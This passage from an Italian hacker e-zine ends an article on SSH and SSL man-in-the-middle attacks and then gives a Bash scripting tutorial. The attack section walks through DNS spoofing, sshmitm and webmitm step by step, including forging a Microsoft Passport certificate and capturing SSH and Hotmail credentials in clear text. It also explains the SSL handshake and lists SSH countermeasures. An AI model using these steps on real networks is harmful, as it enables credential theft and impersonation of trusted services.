| desideriamo venga risolto l'hostname server.trust.com: |
| |
| attacker@attack:~# echo "192.168.1.6 server.trust.com" > ~/hosts.txt |
| attacker@attack:~# cat ~/hosts.txt |
| 192.168.1.6 server.trust.com |
| attacker@attack:~# dnsspoof -f ~/hosts.txt |
| dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.6] |
| |
| ...in un'altra shell mettiamo in ascolto Sshmitm in attesa di una |
| connessione da parte del client rediretto dalla reply DNS spoofata: |
| |
| attacker@attack:~# sshmitm 192.168.1.5 |
| sshmitm: relaying to 192.168.1.5 |
| |
| In questo modo quando il client ssh cercherà di connettersi a |
| server.trust.com (192.168.1.5) invierà una query al server DNS, a questo |
| punto Dnsspoof anticiperà la risposta da parte del nameserver con una |
| forgiata appositamente da noi che restituirà un IP a nostra discrezione |
| (in questo caso il nostro). |
| Questo farà si che il client si connetta all'IP della nostra macchina |
| (192.168.1.6) che è pronta per accettare tale connessione e forwardarla |
| al server legittimo attraverso Sshmitm: |
| |
| root@victim:~# ssh server.trust.com |
| @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ |
| @ WARNING: HOST IDENTIFICATION HAS CHANGED! @ |
| @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ |
| IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! |
| Someone could be eavesdropping on you right now (man-in-the-middle [...] |
| It is also possible that the host key has just been changed. |
| Please contact your system administrator. |
| Add correct host key in /root/.ssh/known_hosts to get rid of this [...] |
| Agent forwarding is disabled to avoid attacks by corrupted servers. |
| X11 forwarding is disabled to avoid attacks by corrupted servers. |
| Are you sure you want to continue connecting (yes/no)? yes |
| root@server.trust.com's password: |
| |
| attacker@attack:~# sshmitm 192.168.1.5 |
| sshmitm: relaying to 192.168.1.5 |
| ----------------- |
| 05/22/02 20:52:51 tcp 192.168.1.4.1021 -> 192.168.1.5.22 (ssh) |
| root |
| secret |
| |
| Il nome utente e la password verranno visualizzate in testo in chiaro |
| come output del programma. Ancora una volta condizione essenziale per la |
| riuscita di questa tecnica è rappresentata dal fattore umano ovvero un |
| errore o una superficialità da parte dell'utente nel valutare un |
| messaggio di avvertimento. |
| |
| 3.3 Contromisure |
| Tale attacco è tanto semplice da mettere in atto quanto da prevenire, |
| infatti per non rimanere vittima di un attacco man in the middle basterà |
| inserire le seguenti direttive nel file di configurazione del client ssh |
| che si trova di default in /etc/ssh_config oppure in ~/.ssh/config: |
| |
| Protocol 2 |
| StrictHostKeyChecking yes |
| |
| In questo modo il client ssh chiuderà la comunicazione con il server in |
| presenza di incoerenze tra la chiave pubblica memorizzata in locale e |
| quella inviata dal server, inoltre nel caso in cui venga negoziata una |
| versione inaspettata del protocollo verrà impedita la connessione. |
| |
| 4. SSL Protocol |
| La crittografia in chiave asimmetrica viene utilizzata per verificare |
| l'identità del nostro interlocutore partendo dai seguenti presupposti: |
| |
| - la chiave privata deve rimanere segreta, nessuno al di fuori del |
| legittimo proprietario deve possedere tale chiave; |
| - i dati crittografati con la chiave pubblica possono essere decriptati |
| solamente con la chiave privata corrispondente e viceversa. |
| |
| Immaginiamo un possibile scenario in cui i due host A e B desiderino |
| comunicare tramite una sessione sicura SSL, l'autenticazione server |
| avverrà circa in questo modo: |
| |
| A->B hello |
| B->A Hi, I'm Bob, bobs-certificate |
| A->B prove it |
| B->A Alice, This Is bob |
| { digest[Alice, This Is Bob] } bobs-private-key |
| |
| (schema tratto da "How SSL Works", developer.netscape.com) |
| |
| Nel primo passo l'host A manifesta a B l'intenzione di stabilire una |
| comunicazione, successivamente riceve una risposta da B contenente il |
| certificato di tale host comprensivo della chiave pubblica. |
| L'host A controlla la validità del certificato del suo interlocutore |
| attenendosi ai seguenti punti: |
| |
| - il certificato deve essere rilasciato da una CA (Certification |
| Authority) sicura (esempio Verisign o Thawte); |
| - il certificato deve essere ancora valido rispetto alla data di |
| scadenza indicata; |
| - il nome riportato nel certificato deve corrispondere all'hostname del |
| sito a cui si sta accedendo. |
| |
| Se uno dei tre punti indicati non dovesse essere rispettato il browser |
| provvederà a fornire un messaggio di avviso all'utente dove vengono |
| elencate le anomalie riscontrate e viene richiesto se si desidera |
| procedere con la connessione. |
| Nella quarta fase B genera un messaggio e lo inoltra ad A prima in forma |
| non crittografata e successivamente la forma crittografata del digest |
| computato a partire dal messaggio originale. |
| Il digest fornisce un'ulteriore protezione per B ed impedisce ad esso di |
| crittografare dati arbitrari con la propria chiave privata e di |
| inoltrarli a qualcuno. Tali dati infatti apparirebbero a tutti gli |
| effetti provenienti da B e potrebbero essere usati contro di lui o per |
| sostituirsi alla sua identità. |
| Infine A decripta il digest con la chiave pubblica di B, ricevuta nella |
| seconda fase dell'handshake, e nel caso in cui tale valore risulti |
| uguale al valore non criptato A saprà che sta parlando con B in quanto |
| un impostore non possedendo la chiave privata di B non sarebbe in grado |
| di crittografare correttamente tale messaggio. |
| Una volta terminata la fase di autenticazione la sessione potrà aver |
| luogo e procederà con le seguenti modalità: |
| |
| A->B ok bob, here is a secret {secret} bobs-public-key |
| B->A {some message}secret-key |
| |
| (schema tratto da "How SSL Works", developer.netscape.com) |
| |
| L'host A invierà a B la chiave di sessione crittografata con la chiave |
| pubblica di B in modo tale che possa essere decriptata solo da B. Tale |
| chiave di sessione sarà utilizzata per crittografare il resto della |
| comunicazione per mezzo di un algoritmo a chiave simmetrica. |
| |
| 5. SSL Attack |
| Il primo requisito necessario per portare a termine con successo un |
| attacco contro un tunnel SSL è quello di trovarsi "nel mezzo" della |
| sessione, questa condizione viene spesso definita come man-in-the-middle |
| e può essere ottenuta con l'ausilio della tecniche di ARP poisoning o |
| DNS spoofing descritte in precedenza in questo articolo. |
| |
| Le due tecniche producono un risultato simile ma sono caratterizzate da |
| profonde differenze e non sempre possono essere utilizzate |
| indistintamente, vediamo una breve panoramica: |
| |
| - l'ARP poisoning opera a layer due, modificando la cache ARP dell'host |
| vittima e influenzandone di conseguenza l'instradamento dei pacchetti, |
| tutto il traffico passa per l'host dell'attacker che è in grado di |
| modificarlo e forwardarlo a proprio piacere. |
| NON modifica il target con cui la vittima stabilisce la connessione ma |
| solo il tragitto percorso dai pacchetti! |
| |
| - DNS spoofing si basa sulla falsificazione delle risposte del DNS e |
| modifica la sessione in maniera più sostanziale rispetto all'ARP |
| poisoning, la vittima stabilisce una connessione con un host |
| differente da quello atteso, molto spesso si tratta di una porta |
| bindata dall'host di chi attacca. Si verifica di frequente che il |
| programma maligno che binda la porta provveda lui stesso a redirigere |
| il traffico verso l'host legittimo. Il tutto si svolge a livello più |
| alto, precisamente a livello applicazione. |
| |
| Il secondo requisito è quello di poter sostituire al volo il certificato |
| emesso dal server (e di conseguenza la sua chiave pubblica) con un |
| certificato fasullo emesso da noi stessi. |
| In questo modo il flusso SSL tra la macchina della vittima e la macchina |
| di chi attacca sarà crittografato con il certificato emesso da noi di |
| cui possediamo la chiave privata. |
| Siamo così in grado di leggerne il contenuto tra cui il valore |
| corrispondente alla chiave di sessione che verrà utilizzata dai due capi |
| della comunicazione per crittografare in chiave simmetrica l'intera |
| sessione. |
| Vediamo ora un semplice schema che riassume quanto detto finora, l'host |
| dell'attacker è indicato con la lettera M: |
| |
| A->M hello |
| M->B hello |
| B->M Hi, I'm Bob, bobs-certificate |
| M->A Hi, I'm Bob, mallets-certificate |
| A->M prove it |
| M->B prove it |
| B->M Alice, This Is bob |
| { digest[Alice, This Is Bob] } bobs-private-key |
| M->A Alice, This Is bob |
| { digest[Alice, This Is Bob] } mallets-private-key |
| A->M ok bob, here is a secret {secret} mallets-public-key |
| M->B ok bob, here is a secret {secret} bobs-public-key |
| B->M {some message}secret-key |
| M->A {some message}secret-key |
| |
| Poichè l'attacco basa la propria forza sulla sostituzione del |
| certificato del server dovremo agire in modo da soddisfare quanto |
| possibile i check di validità del certificato effettuati dal lato |
| client, precisamente: |
| |
| - il certificato deve essere ancora valido rispetto alla data di |
| scadenza indicata -> non è un problema in quanto siamo in grado di |
| forgiare un certificato con le caratteristiche desiderate con Openssl; |
| - il nome riportato nel certificato deve corrispondere all'hostname del |
| sito a cui si sta accedendo -> possiamo ottenerlo utilizzando Dnsspoof |
| per falsificare qualsiasi check atto a verificare il nome host del |
| sito; |
| - il certificato deve essere rilasciato da una CA (Certification |
| Authority) sicura (esempio Verisign o Thawte) -> PROBLEMA, dovremo |
| accontentarci di un certificato self-signed, questo potrà insospettire |
| qualcuno ma i più non daranno alcun peso ai messaggi di warning. |
| |
| 5.1 Webmitm |
| Passiamo ora alla parte pratica, dove utilizzeremo Dnsspoof per |
| realizzare il man-in-the-middle che ci permetterà di sostituire il |
| certificato SSL durante la transizione. |
| |
| Dobbiamo prima di tutto editare un file hosts da cui il tool Dnsspoof |
| attingerà per forgiare le proprie risposte, nell'esempio cercherò di |
| spoofare la risposta DNS relativa all'hostname del servizio di login di |
| Hotmail, il file hosts dovrà contenere quanto segue: |
| |
| root@pippo:~# cat ~/hosts.txt |
| 192.168.1.4 loginnet.passport.com |
| |
| avviamo Dnsspoof... |
| |
| root@pippo:~# dnsspoof -f ~/hosts.txt |
| dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] |
| 192.168.1.35.1537 > 192.168.1.1.53: 4+ A? loginnet.passport.com |
| |
| Ora che abbiamo ottenuto un man-in-the-middle per tutte le sessioni |
| dirette verso tale server non ci resta che creare un certificato fasullo |
| di cui possediamo la chiave privata e che andremo a sostituire durante |
| l'handshaking tra l'host della vittima e il servizio di login Hotmail. |
| Alla prima esecuzione Webmitm ci da la possibilità di creare tale |
| certificato richiamando Openssl: |
| |
| root@pippo:~# webmitm |
| warning, not much extra random data, consider using the -rand option |
| Generating RSA private key, 1024 bit long modulus |
| ........................................++++++ |
| ......................++++++ |
| e is 65537 (0x10001) |
| Using configuration from /etc/ssl/openssl.cnf |
| You are about to be asked to enter information that will be incorporated |
| into your certificate request. |
| What you are about to enter is what is called a Distinguished Name or DN |
| There are quite a few fields but you can leave some blank |
| For some fields there will be a default value, |
| If you enter '.', the field will be left blank. |
| ----- |
| Country Name (2 letter code) [AU]:US |
| State or Province Name (full name) [Some-State]:Washington |
| Locality Name (eg, city) []:Redmond |
| Organization Name (eg, company) [Internet Widgits Pty Ltd]:Microsoft |
| Organizational Unit Name (eg, section) []:Passport |
| Common Name (eg, YOUR name) []:loginnet.passport.com |
| Email Address []: |
| |
| Please enter the following 'extra' attributes |
| to be sent with your certificate request |
| A challenge password []: |
| An optional company name []: |
| Signature ok |
| subject=/C=US/ST=Washington/L=Redmond/O=Microsoft/OU=Passport

  
|
| /CN=loginnet.passport.com |
| Getting Private key |
| webmitm: certificate generated |
| |
| A questo punto abbiamo il nostro certificato e siamo in grado di proxare |
| la sessione "sicura" tra i due host, non ci resta che avviare webmitm |
| con l'opzione -d per ottenere un output un po' più verboso: |
| |
| root@pippo:~# webmitm -d |
| webmitm: relaying transparently |
| webmitm: new connection from 192.168.1.35.1605 |
| webmitm: no virtual host in request |
| webmitm: child 1503 terminated with status 256 |
| webmitm: new connection from 192.168.1.35.1606 |
| POST /ppsecure/post.srf HTTP/1.1 |
| Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application |
| /vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */* |
| Referer: http://lc1.law5.hotmail.passport.com/cgi-bin/login?_lang= |
| IT&country=IT |
| Accept-Language: it |
| Content-Type: application/x-www-form-urlencoded |
| Accept-Encoding: gzip, deflate |
| User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98) |
| Host: loginnet.passport.com |
| Content-Length: 308 |
| Connection: Keep-Alive |
| Cache-Control: no-cache |
| Cookie: MSPDom=2; MSPPre=e4zy@hotmail.com; BrowserTest=Success%3f |
| Referer: http://lc1.law5.hotmail.passport.com/cgi-bin/login?_lang= |
| IT&country=IT |
| Accept-Language: it |
| Content-Type: application/x-www-form-urlencoded |
| Accept-Encoding: gzip, deflate |
| |
| login=e4zy&domain=hotmail.com&svc=mail&RemoteDAPost=https%3A%2F%2F |
| login.msnia.passport.com%2FIT%2Fppsecure%2Fpost.asp&passwd=password |
| &enter=Accedi&sec=no&curmbox=ACTIVE&js=yes&_lang=IT&beta=&ishotmail= |
| 1&mspp_shared=&id=2&fs=1&cb=_lang%253dIT&ct=1025169432&ru=http%3A%2F%2F |
| www.hotmail.msn.com%2Fcgi-bin%2Fsbox |
| webmitm: child 1504 terminated with status 0 |
| |
| Quando la vittima si connetterà al servizio di login di Hotmail per |
| l'autenticazione gli apparirà un popup (vedi allegato ssl.jpg) che |
| avvisa che il certificato è firmato da una CA che si è deciso di non |
| trustare e verrà richiesto se si desidera continuare. |
| In caso affermativo l'output di Webmitm apparirà circa come quello |
| riportato qualche riga più sopra, l'intera sessione risulterà essere in |
| chiaro e potremo operare lo sniffing dei dati in transito tra i due host |
| compresi i dati relativi al login: |
| |
| login=e4zy |
| passwd=password |
| |
| 6. Risorse |
| SSH Transport Layer Protocol, draft-ietf-tls-ssh-00.txt |
| How SSL Works, developer.netscape.com |
| The SSL Protocol Version 3.0, Internet Draft |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ LiNUX #07 - 01/08/2002 |
| SHELL SCRiPTiNG: BASH [Domine] 0x09/0x19 |
+--------------------------------------------------------------------------+
| Shell scripting: Bash - 27/08/2001 - by Domine |
| |
| Mail: domine@paranoici.org |
| WWW: http://www.autistici.org/domine/index.php |
| IRC: Domine @ IRCNet, AzzurraNet |
| |
| |
| |
| Perchè scripting in Bash? Semplicemente, può sempre tornare utile |
| nella gestione dei sistemi Unix (ad esempio, per la manutenzione |
| tramite crond e soci :-). Ovviamente non parlerò di tutti i cazzi |
| come i settaggi delle impostazioni di Bash ecc.. bensì di ciò che |
| sarà più utile per la stesura di script utili. |
| |
| ToC: |
| |
| 1) INTRO |
| 2) VARIABILI E PARAMETRI |
| 3) QUOTING |
| 4) LISTE DI COMANDI |
| 5) STRUTTURE CONDIZIONALI E CICLI |
| 6) ESPRESSIONI CONDIZIONALI |
| 7) FUNZIONI |
| 8) ARRAY |
| 9) ESPANSIONE |
| 10) COMANDI INTERNI (BUILTINS) |
| 11) REDIREZIONI |
| |
| |
| INTRO |
| |
| Innanzitutto, ogni script è aperto dalla stringa |
| |
| #!/bin/bash |
| |
| in cui si indica di avviare la shell come interprete. I comandi |
| all'interno del file verranno eseguiti sequenzialmente, come se noi |
| stessi dal normale prompt li eseguissimo uno alla volta. Valgono |
| quindi tutti quei comandi che avete sempre usato per gestire il |
| vostro sistema (copia, cancella ecc ecc) oltre ad una serie di |
| comandi che la shell fornisce autonomamente. |
| |
| |
| VARIABILI E PARAMETRI |
| |
| In Bash la dichiarazione delle variabili avviene tramite |
| |
| nome_della_variabile="valore" |
| |
| Non è necessario dichiarare il tipo di valore, poichè la shell stessa |
| provvederà a comportarsi a seconda del tipo di variabile. Nel caso |
| si faccia riferimento ad una variabile non dichiarata oppure a una |
| variabile vuota, questa sarà automaticamente riempita con una |
| stringa vuota. Ogni volta che si vorrà fare riferimento a una |
| variabile, basterà anteporre al suo nome il simbolo $ |
| |
| prova="blahblah" # Il cancelletto crea una riga di commento |
| echo $prova # Echo mostra sullo schermo "blahblah" |
| |
| In questo casò, la shell sostituisce a $prova un'altra stringa |
| tramite il processo detto "espansione", cosa che accade ogni volta |
| che con una qualsiasi dicitura si fa riferimento a una o più parole |
| |
| ls -l * |
| |
| L'asterisco in questo caso fa riferimento a tutte le directory e ai |
| file non nascosti nella dir corrente. (vedi ESPANSIONE) |
| |
| Sia le variabili sia i parametri sono case sensitive. |
| |
| Per parametri si intendono delle variabili che hanno un valore |
| particolare nell'ambito della shell, e si distinguono in: |
| |
| - PARAMETRI POSIZIONALI |
| |
| Ossia gli argomenti passati allo script. Con $0 si indica il nome |
| dello script, mentre con $1, $2, $3 si indicano rispettivamente il |
| primo, il secondo e il terzo argomento della riga di comando, e così |
| via. Quando un parametro posizionale composto da 2 o più cifre deve |
| essere espanso, deve essere contenuto fra parentesi graffe (es. |
| ${13} ). |
| |
| - PARAMETRI SPECIALI |
| |
| Si tratta di variabili a cui si può far solo riferimento, e non vi |
| si può assegnare alcun valore. Esse sono: |
| |
| * Espande all'insieme di tutti i parametri posizionali, uniti |
| tra di loro in un unica stringa. Essi sono separati dal |
| primo carattere della variabile speciale IFS (ossia uno |
| spazio). |
| |
| @ Espande all'insieme di tutti i parametri posizionali. Se |
| però $@ è racchiusa tra apici doppi ("), essa si riferirà |
| non ad un unica stringa come il parametro precedente, bensì |
| a più parole. "@$" sarà quindi equivalente a "$1" "$2" |
| ecc... (utile magari per un ciclo condizionale, quindi). |
| |
| # E' equivalente al numero dei parametri posizionali |
| |
| ? E' uguale allo stato restituito dall'ultima pipeline in |
| foreground |
| (es. se l'ultimo comando sarà stato eseguito con successo |
| restituirà 0, ossia VERO in un contesto booleano.) |
| |
| - Restituisce i valori (flags) attivate dal comando SET |
| |
| $ Restituisce il PID della shell |
| |
| ! E' uguale al PID dell'ultimo comando eseguito in background |
| |
| 0 Contiene il nome dello script in esecuzione. |
| |
| _ Contiene l'ultimo argomento del precedente comando. |
| |
| |
| - VARIABILI DELLA SHELL |
| |
| PPID Il PID del processo padre della shell |
| PWD La dir corrente |
| OLDPWD La dir precedente |
| UID L'UID dell'utente all'avvio della shell |
| EUID L'UID effettivo dell'utente all'avvio di BASH |
| BASH Il percorso della shell |
| BASH_VERSINFO La versione di BASH |
| RANDOM Un numero intero tra 0 e 32767 |
| SECONDS Num di secondi dall'apertura della shell |
| LINENO Il numero di linea in uno script o funzione |
| PIPESTATUS Lo stato dell'ultima pipeline |
| IFS Variabile usata nella suddivisione in parole |
| dopo una espansione (equivalente a |
| <spazio><tab><newline>) |
| PATH I percorsi in cui la shell cerca i binari dei vari |
| comandi |
| HOME La directory dell'utente |
| MAILPATH La directory della posta elettronica |
| IGNOREEOF Il numero di EOF consecutivi che fanno terminare Bash |
| |
| Queste variabili ed altre ancora sull'escusivo canale MAN |
| Educational Channel (ah, è free? Buono! man bash :-] ) |
| |
| |
| QUOTING |
| |
| Il quoting è il metodo utilizzato per togliere ad un determinato |
| carattere il significato speciale che esso ha per la shell. Ad |
| esempio metacaratteri quali |
| |
| | || & && ; ;; ( ) < > <newline> |
| |
| devono essere protetti per non creare equivoci. I meccanismi di |
| quoting sono 3: escaping, apici singoli e apici doppi. |
| |
| L'escaping avviene facendo precedere il carattere da uno \. Nel caso |
| questo si trovi alla fine della linea, esso annullerà il ritorno a |
| capo, permettendo di scrivere il comando su più righe. |
| |
| Es. mkdir \$prova # Crea la directory "$prova". Ogni volta che |
| # vorrò riferirmi ad essa, dovrò usare lo \ |
| |
| echo "Questa è una riga \ |
| e questa ne è un'altra" |
| |
| Stamperà "Questa è una riga e questa ne è un'altra". Lo \ mi ha |
| permesso di distribuire il comando su 2 righe. |
| |
| Utilizzando gli apici singoli ('), tutto ciò fra essi compresi |
| mantiene il proprio significato letterale (non viene quindi |
| "interpolato"). Altri apici singoli non possono essere annidati, |
| neanche se preceduti dallo \ |
| |
| Es. echo 'Come vedi da $0, questa stringa non è stata modificata' |
| |
| Utilizzando gli apici doppi ("), tutto rimane inalterato fuorchè i |
| simboli $ e ` (apice inverso), che conservano le loro |
| caratteristiche. Anche lo \, se precede $, ` oppure " riacquista il |
| suo significato di escaper. |
| |
| Es. echo "La variabile \"\$HOME\" contiene $HOME" |
| # stampa: La variabile "$HOME" contiene /home/domine |
| |
| |
| LISTE DI COMANDI |
| |
| Ogni comando, sia che si tratti di un programma esterno, o di una |
| funzione o ancora di un comando interno alla shell, esegue una serie |
| di operazioni, dopo di che restituisce un valore numerico. Nel caso |
| in cui ci si riferisca ad un contesto booleano (vero/falso), lo zero |
| equivarrà a vero, mentre qualunque altro valore numerico a falso. Il |
| numero restituito da un comando è detto "stato di uscita" e, nel |
| caso ad esempio di una funzione o di un ciclo, è determinato |
| dall'ultima istruzione eseguita. |
| |
| E' possibile utilizzare più comandi insieme tramite la stessa riga, |
| utilizzando degli operatori condizionali che verificheranno il |
| valore di uscita dell'istruzione che li precede. Ad esempio |
| |
| make mrproper ; make xconfig ; make dep |
| |
| ogni comando attende l'esecuzione del precedente per essere |
| eseguito. Oppure la classica pipeline che passa il proprio outpu al |
| comando successivo |
| |
| cat /etc/passwd | less |
| |
| Si possono utilizzare && oppure || che equivalgono a AND ed OR; il |
| primo attende un valore di uscita positivo (vero), l'altro il |
| contrario (falso). E' possibile annidare gruppi di comandi con le () |
| o le {}. |
| |
| (rmdir tmp || rm -rf tmp) && echo "Directory rimossa" |
| |
| (le parentesi tonde possono anche modificare la priorità delle |
| operazioni) |
| |
| { |
| mkdir tmp # Le parentesi graffe permettono |
| cp ~/* tmp # di disporre comandi su più linee |
| cd tmp |
| } |
| |
| |
| STRUTTURE CONDIZIONALI E CICLI |
| |
| E' possibile utilizzare le strutture di controllo classiche dei |
| linguaggi di programmazione: |
| |
| - FOR |
| |
| for VAR [ in PAROLA ] |
| do |
| comando_1 |
| comando_2 |
| ... |
| comando_n |
| done |
| |
| Non è necessario separare le istruzioni con un ; in quanto è |
| sufficiente il ritorno a capo. Nel caso di questo ciclo, gli |
| elementi indicati dalla PAROLA che segue "in" (se "in" viene omesso |
| la shell utilizza i parametri posizionali) vengono posti uno per |
| volta uguali a VAR, e per ognuno di essi verrà eseguito la serie di |
| comandi indicata. Esempio: |
| |
| for VAR # qui è come se sottintendesse "in $@" |
| do |
| echo $VAR |
| done |
| |
| Questa struttura elenca tutti gli argomenti passati allo script. |
| |
| LISTA=$`ls ~` |
| for i in $LISTA |
| do # ++n aggiunge 1 alla variabile n prima |
| echo "$((++n)) $i" # che l'istruzione sia eseguita (poichè non |
| done # dichiarata, n è uguale a 0) |
| |
| Genera una lista numerata degli elementi nella dir HOME. |
| |
| E' anche possibile utilizzare il costrutto classico |
| |
| for (( inizializzazione ; condizione ; incremento )) |
| do |
| ... serie di comandi ... |
| done |
| |
| Le tre espressioni all'interno delle (()) vengono verificate per |
| ogni serie di comandi eseguita. Finchè la "condizione" non equivale |
| a zero, for esegue "l'incremento" e la lista di comandi dopo il "do". |
| |
| for (( i=0 ; i-11 ; i++ )) |
| do |
| echo $i # Chissà che compirà mai? :-) |
| done |
| |
| E' possibile interrompere un ciclo con una istruzione BREAK o RETURN |
| (seguita da un numero). |
| |
| - SELECT |
| |
| select VAR [ in LISTA_VALORI ] |
| do |
| comando_1 |
| comando_ecc_ecc |
| done |
| |
| Con select è possibile mostrare sullo schermo una lista di opzioni e |
| un prompt pronto a raccogliere la scelta dell'utente. Ancora una |
| volta, un "in" omesso equivale a $@. |
| |
| La stringa inserita viene copiata nella variabile $REPLY, mentre il |
| valore ad essa associata viene assegnato a VAR, dopodichè vengono |
| eseguite le istruzioni elencate e si ritorna all'inizio del ciclo |
| (finchè l'utente non preme control+c o control+d, oppure finchè |
| un'istruzione BREAK o RETURN viene eseguita). |
| |
| select i in $@ # Verrà creata una lista con gli argomenti |
| passati |
| do |
| echo "$REPLY è uguale a $i!" |
| done |
| |
| - CASE |
| |
| case parola in |
| [ [(] pattern [ | pattern ] ... ) comandi ;; ] |
| esac |
| |
| Case permette l'esecuzione di determinati comandi a seconda del |
| valore di una determinata variabile (dove c'è "parola"). La shell |
| confronta una ad una le possibilità, e appena trova un riscontro |
| (pattern) con le possibilità nello script esegue dei comandi, |
| interrompendo la ricerca di altri riscontri. |
| |
| case $1 in |
| a | b | c | abc) echo "ABC";; |
| d) echo "D";; |
| e | f | ef) echo "EF";; |
| *) echo "ma ch'rrè?";; |
| esac |
| |
| Con il simbolo | si possono indicare possibilità diverse per |
| un'unica opzione. In questo caso se il primo argomento passato allo |
| script contiene a,b,c o abc stamperà ABC, altrimenti confronterà |
| l'argomento con il pattern successivo e così via. Nel caso nessuno |
| dei pattern contenga $1, viene attivato un pattern predefinito (* |
| combacia con qualunque stringa). Nel caso non avvengano riscontri, |
| la funzione restituisce 0. |
| |
| - IF |
| |
| if espressione |
| then comandi |
| [ elif espressione; then comandi; ] |
| ... |
| [ else comandi; ] |
| fi |
| |
| If permette di eseguire dei comandi a seconda che una determinata |
| condizione sia verificata o meno. Se i comandi dopo if restituiscono |
| vero, allora vengono eseguiti i comandi seguenti then. Altrimenti, |
| viene eseguito elif che verificherà altre condizioni e, come if, se |
| le riscontra esegue i comandi dopo then, altrimenti passerà ad un |
| altro, eventuale, elif. Infine, se nessuna delle condizioni è vera, |
| esegue i comandi dopo else. Se nessuna condizione restituisce vero |
| if restituirà 0. |
| |
| if [ $UID > 0 ] # le [] sono abbreviazione del comando TEST |
| then |
| echo "Non hai i privilegi di root! :-P" |
| else |
| echo "Hai i privilegi di root! :-)" |
| fi |
| |
| Per il confronto valgono gli operatori aritmetici e logici come |
| <,>,==,! (negazione logica, inverte il significato |
| dell'espressione),&&,|| e così via. |
| |
| - WHILE e UNTIL |
| |
| while espressione; do comandi; done |
| until espressione; do comandi; done |
| |
| While esegue una serie di comandi finchè l'espressione indicata |
| all'inizio restituisce vero; per until vale altrettanto, finchè |
| l'espressione restituisce falso. |
| |
| x=0; |
| while [ $x -lt 10 ] # $x > 10 (Vedi espressioni condizionali) |
| do |
| echo $((x++)) # Equivale a: echo $x ; $((x=x+1)) |
| done |
| |
| |
| ESPRESSIONI CONDIZIONALI |
| |
| I seguenti operatori unari e binari sono utilizzati dalla funzione |
| test (e dalla sua versione abbreviata []) per verificare gli |
| attributi dei file e per confrontare stringhe ed espressioni |
| numeriche. |
| |
| -a file Vero se file esiste. |
| -b file Vero se file esiste ed è un dispositivo a blocchi. |
| -c file Vero se file esiste ed è un dispositivo a caratteri. |
| -d file Vero se file esiste ed è una directory |
| -e file Vero se file esiste. |
| -f file Vero se file esiste ed è un file regolare. |
| -g file Vero se file esiste ed il bit SGID è attivo. |
| -h file Vero se file esiste ed è un link simbolico. |
| -k file Vero se file esiste è il suo bit "sticky" è attivo |
| -p file Vero se file esiste ed è una pipe con nome (FIFO). |
| -r file Vero se file esiste ed è leggibile. |
| -s file Vero se file esiste ed ha dimensioni maggiori di |
| zero. |
| -t fd Vero se /dev/stdout (standard output) è indirizzato |
| al terminale |
| -u file Vero se file esiste ed il bit SUID è attivo. |
| -w file Vero se file esiste ed ha i permessi per la |
| scrittura. |
| -x file Vero se file esiste ed è eseguibile. |
| -O file Vero se file esiste ed appartiene all'user id |
| effettivo dell'utente |
| -G file Vero se file esiste ed appartiene al group id |
| effettivo dell'utente |
| -L file Vero se file esiste ed è un link simbolico. |
| -S file Vero se file esiste ed è un socket. |
| -N file Vero se file esiste ed è stato modificato |
| dall'ultima lettura |
| |
| file1 -nt file2 Vero se file1 è più recente del file2. |
| file1 -ot file2 Vero se file1 è più vecchio del file2. |
| file1 -ef file2 Vero se file1 e file2 hanno lo stesso inode |
| e device. |
| -o optname Vero se l'opzione di shell optname è attiva |
| (vedi SET) |
| -z stringa Vero se la lunghezza della stringa è zero. |
| -n stringa Vero se la lunghezza della stringa non è |
| zero. |
| stringa Vedi caso precedente |
| stringa1 == stringa2 Vero se le stringhe sono uguali (può essere |
| usato anche = ) |
| stringa1 != string2 Vero se le stringhe non sono uguali. |
| stringa1 < stringa2 Vero se stringa1 viene lessicographicamente |
| prima di stringa2 |
| stringa1 > stringa2 Vero se stringa1 viene lessicographicamente |
| dopo di stringa2 |
| |
| - OPERATORI BINARI ARITMETICI |
| |
| Arg1 e arg2 possono essere interi positivi o negativi. |
| |
| arg1 -eq arg2 Vero se arg1 è uguale ad arg2. |
| arg1 -ne arg2 Vero se arg1 non è uguale ad arg2. |
| arg1 -lt arg2 Vero se arg1 minore di arg2. |
| arg1 -le arg2 Vero se arg1 minore o uguale ad arg2. |
| arg1 -gt arg2 Vero se arg1 maggiore di arg2. |
| arg1 -ge arg2 Vero se arg1 maggiore o uguale ad arg2. |
| |
| |
| FUNZIONI |
| |
| Definendo delle funzioni è possibile richiamare un gruppo di |
| istruzioni come se si facesse riferimento a un normale comando della |
| shell. La sintessi è |
| |
| [ function ] nome () { comandi; } |
| |
| Quando viene eseguita una funzione, i parametri posizionali dello |
| script vengono momentaneamente sostituiti con gli argomenti passati |
| alla funzione ($0 continua però a riferirsi al nome dello script). |
| Al termine della funzione le variabili vengono ripristinate. Si |
| possono inoltre definire delle variabili interne alla funzione con |
| il comando local seguito dalla normale dicitura per la dichiarazione |
| delle variabili. Le funzioni (così come le variabili) possono essere |
| messe a disposizione di altri script della shell col comando export. |
| Coi comandi BREAK e RETURN si interrompe l'esecuzione della funzione. |
| |
| function stampa() { |
| echo "Tieccati il valore $1" # questa funzione stampa $1 ma si |
| # tratta del "prova" passatogli |
| return 0 # questo è superfluo poichè echo restituirà 0 se |
| # riuscirà a stampare |
| } |
| echo $1 # se lanceremo lo script senza argomenti non stampa |
| # nulla |
| |
| if stampa prova # la funzione, come qualsiasi altra, restituisce un |
| # valore da testare |
| then |
| echo "stampa riuscita" # poichè stampa ritorna zero, l'if esegue |
| # questo echo |
| else |
| echo "boh? :-P" |
| fi |
| |
| |
| ARRAY |
| |
| Bash fornisce la possibilità di usare array mono-dimensionali. Come |
| voi ben sapete (!) l'array è una variabile contenente più valori |
| ordinati numericamente (gli indici delle variabili non potranno |
| quindi essere composti da lettere). |
| Per creare un array basta assegnare un valore a uno qualsiasi dei |
| suoi indici, oppure usare il comando declare. |
| |
| arrei[0]="Sono l'elemento numero uno! ;-)" |
| |
| Gli indici degli array cominciano dallo zero. Si possono anche |
| aggiungere più elementi contemporaneamente a un array |
| |
| arrei=(valore_1 valore_2 ... valore_n) |
| |
